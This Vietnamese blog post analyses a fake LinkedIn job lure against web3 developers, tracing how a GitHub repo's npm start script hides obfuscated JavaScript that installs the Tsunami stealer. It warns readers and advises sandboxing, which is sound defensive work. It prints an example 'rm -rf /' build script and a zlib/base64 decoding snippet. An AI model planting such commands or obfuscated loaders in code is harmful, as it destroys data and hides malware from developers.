Phân tích trường hợp bị hack khi chạy code từ GitHub

JUNO_OKYOJUNO_OKYO
8 min read

Mấy hôm trước trên J2TEAM Community có một bài viết đề cập đến vấn đề “bị hack khi chạy code clone từ GitHub”. Bài viết nhanh chóng nhận được sự chú ý của thành viên trong nhóm.

Tóm tắt diễn biến:

  • Kẻ tấn công liên hệ qua LinkedIn, giới thiệu một công việc liên quan đến hỗ trợ phát triển dự án

  • Sau khi đồng ý, bạn ấy được thêm vào một repository private trên GitHub

  • Khi clone mã nguồn về và chạy lệnh khởi động, quá trình tấn công sẽ được kích hoạt

Phần dưới đây là những gì mình tìm hiểu thêm được về hình thức tấn công này.

Ai sẽ là mục tiêu của kẻ tấn công?

Bài viết trên J2TEAM Community không phải là trường hợp đầu tiên. Bằng một vài từ khóa tìm kiếm trên Google, mình tìm được bài viết sau trên LinkedIn:

một bài trên Reddit:

Dựa vào những bài viết ở trên, mình nhận thấy một số đặc điểm chung:

  • Mục tiêu là những lập trình viên làm việc trong lĩnh vực web3/blockchain

  • Nạn nhân được cấp quyền vào một private repo trên GitHub

  • Nạn nhân được thuyết phục chạy lệnh khởi động dự án hoặc build trên máy tính cá nhân

Bài viết từ Reddit cho thấy những dấu hiệu đặc trưng của Stealer - loại mã độc chuyên đánh cắp thông tin. Một vụ việc nổi tiếng gần đây bạn có thể biết là Stealer giả mạo game WuKong.

Thông tin phổ biến nhất mà Stealer thu thập là tài khoản và mật khẩu được lưu trữ trên trình duyệt. Với đối tượng là lập trình viên web3, mục tiêu chính của kẻ tấn công rất có thể là đánh cắp thông tin ví tiền điện tử, chẳng hạn như MetaMask.

Kỹ thuật tấn công

Tấn công thông qua Git Hook

Git hook là các tập lệnh tùy chỉnh được kích hoạt khi thực hiện các lệnh Git như commit, rebase, merge, push,… Mặc định, các hook này được lưu trong thư mục .git/hooks. Kẻ tấn công có thể lợi dụng Git hook để thực thi mã độc mỗi khi người dùng thực hiện một lệnh Git. Đây là một ví dụ.

Mặc định thì thư mục .git sẽ được đặt thuộc tính ẩn (Hidden), nên nếu bạn không cài đặt cho máy tính hiển thị thư mục ẩn thì sẽ không để ý đến nó.

Tuy nhiên, trong các trường hợp nạn nhân bị tấn công khi chạy lệnh như start hoặc build, các lệnh này thuộc về NPM chứ không liên quan trực tiếp đến Git. Vì vậy, chúng ta hãy đến với kiểu tấn công tiếp theo. Nhưng hãy nhớ: Bạn cũng cần cảnh giác với Git Hook!!!

Tấn công thông qua NPM Script

Với các repo GitHub ở trên, điểm chung là sẽ có 1 file package.json như này:

package.json là file kê khai thông tin ứng dụng thường thấy trong các ứng dụng NodeJS. Nó cho biết các thông tin cơ bản như tên, phiên bản cho đến những thông tin khác như thư viện phụ thuộc mà ứng dụng của bạn cần sử dụng. Bạn cũng có thể đăng ký các lệnh có thể sử dụng thông qua mục “scripts” trong file này.

Ví dụ, đây là một lệnh độc hại được giả mạo lệnh build:

{
  "scripts": {
    "start": "node app.js",
    "build": "rm -rf / && echo 'Malicious script executed!'"
  }
}

Nhưng thế này thì lộ liễu quá! Kẻ tấn công thường sẽ ẩn trong file JS và áp dụng các kỹ thuật obfuscation.

Trong phát triển phần mềm, obfuscation (làm rối mã) là hành động tạo ra mã nguồn hoặc mã máy mà con người hoặc máy tính khó hiểu được. Giống như việc làm rối trong ngôn ngữ tự nhiên, nó có thể sử dụng các biểu thức vòng vo không cần thiết để cấu thành các câu lệnh.

Lập trình viên có thể cố ý làm rối mã để che giấu mục đích của nó (bảo mật thông qua sự mơ hồ), logic của nó, hoặc các giá trị ngầm định được nhúng bên trong. Mục đích chính là ngăn chặn việc can thiệp, làm nản lòng các nỗ lực dịch ngược (reverse engineering), hoặc thậm chí tạo ra một câu đố hoặc thử thách mang tính giải trí cho người đọc mã nguồn.

Dựa trên mã nguồn của repo GitHub mà thành viên J2TEAM Community chia sẻ, mình mở package.json và thấy được đăng ký lệnh start như sau:

"scripts": {
    "start": "node server/app.js | react-scripts start",
    "build": "react-scripts build",
    "test": "react-scripts test",
    "eject": "react-scripts eject"
  },

Ta thấy lệnh start này thực hiện 2 lệnh là node server/app.jsreact-scripts start. Mình mở tiếp file app.js, thấy code khá bình thường. Mình suy đoán có thể mã độc nằm trong các file được require vào.

fs, path hay http đều là các thư viện sẵn có của NodeJS. Không có gì đáng ngờ. express, socket.io, configmongoose thì là các thư viện phổ biến mình biết, nên có thể loại bỏ. js-chess-engine là một thư viện có 140 sao trên GitHub, không phổ biến, chúng ta cần để ý.

Mình chợt để ý tới dòng 15:

Thông thường dev sẽ khai báo hết các câu require ở trên đầu, mình liền kiểm tra file token này.

Nhìn mọi thứ rất bình thường đúng không? Nhưng mình chợt chú ý vào thanh cuộn ngang, có một đoạn code đã được đẩy ra rất xa bằng khoảng trắng (space).

Đây là một đoạn JavaScript đã bị làm rối (obfuscation). Chắc chắn là nó!

Mình sử dụng công cụ làm đẹp mã nguồn và kết hợp với ChatGPT để làm code “có thể đọc được” (readable) và diễn giải hành vi:

Trích đoạn bài viết trong J2TEAM Community:

- Khi clone về chạy thử thì cũng không thấy gì bất thường, thấy nó tự popup yêu cầu tải python về máy thì mình cũng chủ quan nghĩ rằng do bên phần mềm máy ảo yêu cầu nên accept luôn (máy ảo mình dùng là parallels desktop for Mac). Chạy source lên thì thấy game cũng khá chỉnh chu và có đầu tư [video 2], càng củng cố niềm tin của mình về ông khách này cho tới khi window báo lỗi

"Failed to get data from the clipboard (error-2147221040: OpenClipboard Failed)" [ảnh 3],

thì mình cũng bắt đầu nghi ngờ và check task manager - phần startup app phát hiện 1 tiến trình lạ tên là "Window Update Script" có status enable [ảnh 4].

Ta có thể nhận ra đoạn code JavaScript kia chính là code đã thực hiện tải Python, tạo file Window Update Script rồi thực thi nó. Đây là ảnh do bạn ấy cung cấp:

May be an image of text that says 'Microsoft Wind Task Manager ٣ a ヘ Name AnlaRa inah ballad Type Startup apps name, publisher, or PID ወ O... Windows Update Script Run new task Name Enable 0 Disable 田 nts Cloudflare WARP Publisher ጥ Status Microsoft Teams Last BIOS Startup impact Enabled Microsoft SecurityHealthSystray Not measured Terminal Enabled Not measured Enabled 0 Windows Update Script 2 Xbox Microsoft Corporation Not measured Disabled None Enabled Microsoft Corporation Not measured Disabled None'

Theo như chia sẻ từ bạn La Vi Sar trên nhóm:

  • Đoạn Script đã được obfuscation (thủ thuật làm rối code) [ảnh 5] và thực thi bằng đoạn script sau:

  • \= lambda _ : import('zlib').decompress(import('base64').b64decode(__[::-1]))

Ta thấy kẻ tấn công sử dụng kết hợp Zlib (nén) và Base64 để che giấu.

Mã Python này sẽ làm gì? Dựa theo file bạn La Vi Sar cung cấp (https://codeshare. io/Q8zb1J), ta thấy các hành vi sau:

- Thêm đường dẫn vào danh sách loại trừ của Windows Defender

- Đăng ký khởi động cùng Windows, đặt tên “Runtime Broker” để ngụy trang

- Tải file

- Yêu cầu chạy với quyền Admin

- Các thư mục được truy cập:

  • %APPDATA%\Microsoft\Windows\Applications

  • %LOCALAPPDATA%\Microsoft\Windows\Applications

  • Thư mục temp

Dựa theo các từ khóa trong mã nguồn python thì mình tìm được nó chính là con malware được phân tích trong video này:

Mã độc mà code python trên sẽ tải về và thực thi trên máy bạn là malware Tsunami.

Tấn công thông qua Dependency

Ngoài việc chèn mã độc vào script, kẻ tấn công còn có thể khai thác dependency (thư viện phụ thuộc) độc hại. Những thư viện này được thêm vào mục dependencies hoặc devDependencies trong file package.json.

Hình thức tấn công này đặc biệt nguy hiểm bởi nó lợi dụng lòng tin của lập trình viên vào các thư viện bên thứ ba. Thậm chí, kẻ tấn công có thể:

  1. Sử dụng thư viện phổ biến bị bỏ rơi: Chiếm quyền kiểm soát từ maintainer không còn duy trì thư viện, rồi chèn mã độc.

  2. Tạo thư viện trùng tên: Đặt tên gần giống với một thư viện nổi tiếng, khiến lập trình viên vô tình tải nhầm (typosquatting).

Kết luận

Những hình thức tấn công qua Git hook, NPM script, hoặc dependency đều nhằm khai thác sự chủ quan của lập trình viên. Hãy luôn cẩn trọng khi làm việc với mã nguồn từ các nguồn không đáng tin cậy và duy trì thói quen kiểm tra kỹ lưỡng trước khi chạy bất kỳ lệnh nào trên máy cá nhân.

Khi nhận thấy các dấu hiệu bất thường, bạn nên ngừng ngay việc chạy mã và rà soát lại toàn bộ repository để phát hiện nguy cơ tiềm ẩn. Nếu có thể, hãy sử dụng các môi trường độc lập (sandbox) khi chạy lệnh nào đó.

Chúc mọi người an toàn!


Xem thêm video phân tích: https://vt.tiktok.com/ZSj9wfNTH/

Theo dõi mình để xem thêm các nội dung về công nghệ nhé!

9
Subscribe to my newsletter

Read articles from JUNO_OKYO directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

JUNO_OKYO
JUNO_OKYO

Creator of J2TEAM Security and J2TEAM Cookies